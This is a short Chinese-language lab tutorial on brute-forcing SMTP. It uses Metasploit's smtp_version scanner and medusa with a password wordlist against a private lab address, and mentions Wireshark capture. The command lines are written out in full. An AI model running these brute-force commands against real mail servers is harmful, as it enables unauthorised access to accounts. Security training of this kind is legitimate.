613漏洞利用smtp暴力破解

smtp版本信息获取

使用metasploit中的smtp-version模块探测smtp服务的版本信息。

目标&＃xff1a;192.168.42.137

use auxiliary/scanner/smtp/smtp_version
show options
set rhosts 192.168.42.137
show options
exploit


通过msf&＃xff0c;我们就获取到了smtp的版本信息

medusa工具介绍

medusa是一款用来破解不同协议用户名和密码的专用软件。

medusa破解smtp

medusa -h 目标IP地址 -u 用户名 -P 字典文件 -M 协议模块
medusa-h 192.168.42.137 -u test -P /home/kali/Desktop/user.txt -M smtp


medusa -d
//medusa所支持的模块


在探测的过程中&＃xff0c;我们也可以使用wireshark进行抓包分析&＃xff0c;筛选出smtp

我们很快就获得了对应的数据包&＃xff0c;如果说&＃xff0c;我们探测出用户名&＃xff0c;我们就可以使用用户名和密码登录smtp&＃xff0c;进行对应的操作